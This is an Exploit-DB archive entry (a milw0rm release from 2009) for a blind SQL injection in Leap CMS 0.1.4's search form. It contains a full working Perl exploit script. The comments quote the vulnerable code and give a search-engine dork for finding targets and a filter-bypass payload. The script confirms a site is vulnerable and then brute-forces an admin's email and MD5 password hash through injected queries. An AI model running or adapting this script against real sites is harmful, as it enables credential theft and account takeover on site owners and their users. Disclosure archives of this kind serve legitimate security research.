标题: Leap CMS 0.1.4 - 'searchterm' Blind SQL Injection EDB-ID: 8576 CVE: 2009-1613 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-30 漏洞利用脚本: #!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#**                        **
#**                   **
#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []   []    []    **
#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    
#**                                             **
#**                     **
#**                          Â¡VIVA SPAIN!...Â¡GANAREMOS EL MUNDIAL!...o.O                      **
#**       Â¡PROUD TO BE SPANISH!                               **
#**                 **
#***********************************************************************************************
#***********************************************************************************************
#
#----------------------------------------------------------------------------------------------
#|            (Search Post Form) BLIND SQL INJECTION (BSQLi) EXPLOIT               |
#|--------------------------------------------------------------------------------------------|
#|                              |   Leap CMS 0.1.4    |                  |
#|  CMS INFORMATION:       ---------------------          |
#|                        |
#|-->WEB: http://leap.gowondesigns.com/                       |
#|-->DOWNLOAD: http://leap.gowondesigns.com/download.php?leap014.zip                |
#|-->DEMO: http://php.opensourcecms.com/scripts/details.php?scriptid=161&name=Leap       |
#|-->CATEGORY: CMS / Lite              |
#|-->DESCRIPTION: Leap is a single file, template independent, open-source,                   |
#|   standards-compliant,extensible content management system for the web...       |
#|-->RELEASED: 2009-03-13              |
#|                 |
#|  CMS VULNERABILITY:               |
#|                 |
#|-->TESTED ON: firefox 3                                          |
#|-->DORK: "Powered by Leap"              |
#|-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT           |
#|-->AFFECT VERSION: LAST = 0.1.4 (Maybe <= ?)                       |
#|-->Discovered Bug date: 2009-04-25             |
#|-->Reported Bug date: 2009-04-25             |
#|-->Fixed bug date: Not fixed              |
#|-->Info patch (????): Not fixed             |   
#|-->Author: YEnH4ckEr               |
#|-->mail: y3nh4ck3r[at]gmail[dot]com             |
#|-->WEB/BLOG: N/A               |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)        |
#----------------------------------------------------------------------------------------------
#
#-----------
#BUG FILE:
#-----------
#
#Path --> [HOME_PATH]/leap.php
#
#
#
#function contentSearch() {
#
# ...
#
#
#if($searchterm=='') return FALSE;
#
#        ...
# 
# if (eregi(" AND | NOT | OR ",$search,$matches)) $search=str_replace($matches,'',$search);   <-------BYPASSED (/**/)
#  
#  $keywords = explode(' ', $search); //print_r($keywords);    <---------BYPASSED (/**/)
#  
#  ...
#  
#  $query = "SELECT * FROM ".db('prefix')."content WHERE published='1' AND";     <----------START QUERY
#
#  if ($keyCount > 1) {
#
#   ...
#  
#  }
#  else {
#
#   $query .=" (INSTR(`title`, '$keywords[0]') > '0' || INSTR(`body`, '$keywords[0]') > '0' || ...)";}  <--------INJECTION HERE
#   $pquery=$query.';'; $query.=" ORDER BY mod_date DESC LIMIT $pg, $max;"; //echo $query;
#  
#   ...
#
#  }
#
#}
#
#------------
#CONDITIONS:
#------------
#
#**gpc_magic_quotes=off
#
#---------------------------------------
#PROOF OF CONCEPT (BLIND SQL INJECTION):
#---------------------------------------
#
#SEARCH --> a')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/1=1#
#
#Return: Search for 'a'
#
#######################################################################
#######################################################################
##*******************************************************************##
## ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!  ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
##       GREETZ TO: JosS and all SPANISH Hack3Rs community!          ##
##*******************************************************************##
#######################################################################
#######################################################################
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
 my $SO = $^O;
 my $linux = "";
 if (index(lc($SO),"win")!=-1){
  $linux="0";
 }else{
  $linux="1";
 }  
 if($linux){
  system("clear");
 }
 else{
  system("cls");
  system ("title Leap CMS 0.1.4 (BLIND SQL Injection) Exploit");
  system ("color 04");
 }
}
sub request {
 my $userag = LWP::UserAgent->new;
 $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
 my $request = HTTP::Request -> new(POST => $_[0]);
 $request->content_type('application/x-www-form-urlencoded');
 $request->content($_[1]); 
 my $outcode= $userag->request($request)->as_string;
 return $outcode;
}
sub helper {
 print "\n\t[<-->] Leap CMS 0.1.4 - (BLIND SQL Injection) Exploit\n";
 print "\t[<-->] USAGE MODE: [<-->]\n";
 print "\t[<-->] perl $0 [HOST] [PATH] [Search] [Id]\n";
 print "\t[<-->] [HOST]: Web.\n";
 print "\t[<-->] [PATH]: Home Path.\n";
 print "\t[<-->] [Search]: Something. Default: a (**optional)\n";
 print "\t[<-->] [id]: Id user. Default: 1 (**optional)\n";
 print "\t[<-->] Example: perl $0 'www.example.es' 'leap-CMS' 'a' '1'\n"; 
}
sub lengthuser{
#First, user length...
$exit=0;
$i=0;
 while($exit==0){
  my $searchinjected="searchterm=".$_[2]."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/(SELECT/*y3nh4ck3r*/length(mail)/*y3nh4ck3r*/FROM/*y3nh4ck3r*/users/*y3nh4ck3r*/WHERE/*y3nh4ck3r*/id=".$_[1].")=".$i++."#"; #injected code
  $output=&request($_[0],$searchinjected);
  if ( $output =~ (/No Results Found./))
  {
   $exit=0;
  }else{
   $exit=1;
  }
 }
#Save column length
$lengthuser=$i-1;
print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tUser Length catched!\n";
print "\tUser Length: ".$lengthuser."\n";
print "\tBruteforcing values...\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n";
return $lengthuser;
}
sub bruteforcing {
my $values="";
#Getting datas
$j=1;
 $i=46;
 while(($j<=$_[2]) && ($i<=126)){
  my $searchinjected="searchterm=".$_[4]."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/ascii(substring((SELECT/*y3nh4ck3r*/".$_[3]."/*y3nh4ck3r*/FROM/*y3nh4ck3r*/users/*y3nh4ck3r*/WHERE/*y3nh4ck3r*/id='".$_[1]."'),".$j.",1))=".$i."#"; #injected code
  $output=&request($_[0],$searchinjected);
  if ( $output !~ (/No Results Found./))
  {
   $values=$values.chr($i);
   $j++;
   $i=45;
  }
 if($i==57)
 {
  $i=63; #@
 }
 if($i==64)
 {
  $i=96;
 }
#new char
 $i++; 
 }
#Error
 if(($i>127) || ($j>$_[2])){
  if(!$values){
   print "\t<<<<<--------------------------------------------------------->>>>>\n";
   print "\tEXPLOIT FAILED!\n";
   print "\tFatal error: Datas doesn't find!\n";
   print "\tCause: Maybe you have to include more characters on bruteforcing...\n";
   print "\t<<<<<--------------------------------------------------------->>>>>\n";
   exit(1);
  }
 }
 
return $values;
}
#Main
&lw;
print "\t\t#######################################################\n\n";
print "\t\t#######################################################\n\n";
print "\t\t##   Leap CMS 0.1.4 - (BLIND SQL Injection) Exploit  ##\n\n";
print "\t\t##       ++Conditions: Need magic_quotes=off         ##\n\n";
print "\t\t##                  Author: Y3nh4ck3r                ##\n\n";
print "\t\t##          Contact:y3nh4ck3r[at]gmail[dot]com       ##\n\n";
print "\t\t##                  Proud to be Spanish!             ##\n\n";
print "\t\t#######################################################\n\n";
print "\t\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
#Build the uri
my $finalhost="http://".$host."/".$path."/index.php?search";
#Check all variables needed
$numArgs = $#ARGV + 1;
 if($numArgs<=1) 
 {
  &helper;
  exit(1); 
 }
#Search parameter. It's optional. Default:a
 if(!$ARGV[2]){
  $search="a"; 
 }else{
  $search=$ARGV[2]; 
 }
#Id-user is optional.Default:1
 if(!$ARGV[3]){
  $idhacked="1"; 
 }else{
  $idhacked=$ARGV[3]; 
 }
#Testing blind sql injection
my $finalrequest = $finalhost; 
#Test blind sql injection
my $searchinjected="searchterm=".$search."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/1=1#"; #injected code
$output=&request($finalrequest, $searchinjected);
if ( $output =~ (/No Results Found./))
{   
 print "\t<<<<<--------------------------------------------------------->>>>>\n";
 print "\tThis Web is not vulnerable!\n";
 print "\t--->Maybe:\n";
 print "\t1.-Patched or gpc_magic_quotes=off\n";
 print "\t2.-Search parameter hasn't found. Try other!\n";
 print "\tEXPLOIT FAILED!\n";
 print "\t<<<<<--------------------------------------------------------->>>>>\n";
 exit(1);
}else{ 
 print "\t<<<<<--------------------------------------------------------->>>>>\n";
 print "\tWeb is vulnerable!\n";
 print "\tTested Blind SQL Injection.\n";  
 print "\tChecking id user...\n"; 
 print "\t<<<<<--------------------------------------------------------->>>>>\n";
 
} 
#Test if user exists
my $searchinjected="searchterm=".$search."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/(SELECT/*y3nh4ck3r*/COUNT(*)/*y3nh4ck3r*/FROM/*y3nh4ck3r*/users/*y3nh4ck3r*/WHERE/*y3nh4ck3r*/id='".$idhacked."')#"; #injected code
$output=&request($$finalrequest,$searchinjected);
if ( $output =~ (/No Results Found./))
{    
 print "\t<<<<<--------------------------------------------------------->>>>>\n";
 print "\tUser doesn't exists!\n";  
 print "\tEXPLOIT FAILED!\n";
 print "\t<<<<<--------------------------------------------------------->>>>>\n";
 exit(1); 
}else{ 

 print "\t<<<<<--------------------------------------------------------->>>>>\n";
 print "\tOK...The user exists!\n";  
 print "\tStarting exploit...\n"; 
 print "\t<<<<<--------------------------------------------------------->>>>>\n";
 print "\tWait several minutes...\n"; 
 print "\t<<<<<--------------------------------------------------------->>>>>\n";
} 
#Bruteforcing user...
$length_mail=&lengthuser($finalrequest,$idhacked,$search);
$email=&bruteforcing($finalrequest,$idhacked,$length_mail,'mail',$search);
if(length($email)!=$length_mail)
{
 print "\t<<<<<--------------------------------------------------------->>>>>\n";
 print "\tEXPLOIT FAILED!\n";
 print "\tFatal error: Different length email!\n";
 print "\tCause: Maybe you have to include more characters on bruteforcing...\n";
 print "\t<<<<<--------------------------------------------------------->>>>>\n";
 exit(1);
}

print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tGot user!\n";
print "\tBruteforcing password hash (md5)...\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n";
#Bruteforcing password...
$passhash=&bruteforcing($finalrequest,$idhacked,32,'pwd',$search); #it isn't needed length
print "\n\t\t*************************************************\n";
print "\t\t****  EXPLOIT EXECUTED (LeapCMS 0.1.4 BSQLi) ****\n";
print "\t\t*************************************************\n\n";
print "\t\tUser-id:".$idhacked."\n";
print "\t\tE-mail:".$email."\n";
print "\t\tUser-password(hash):".$passhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok...all job done

# milw0rm.com [2009-04-30] URL: https://www.exploit-db.com/exploits/8576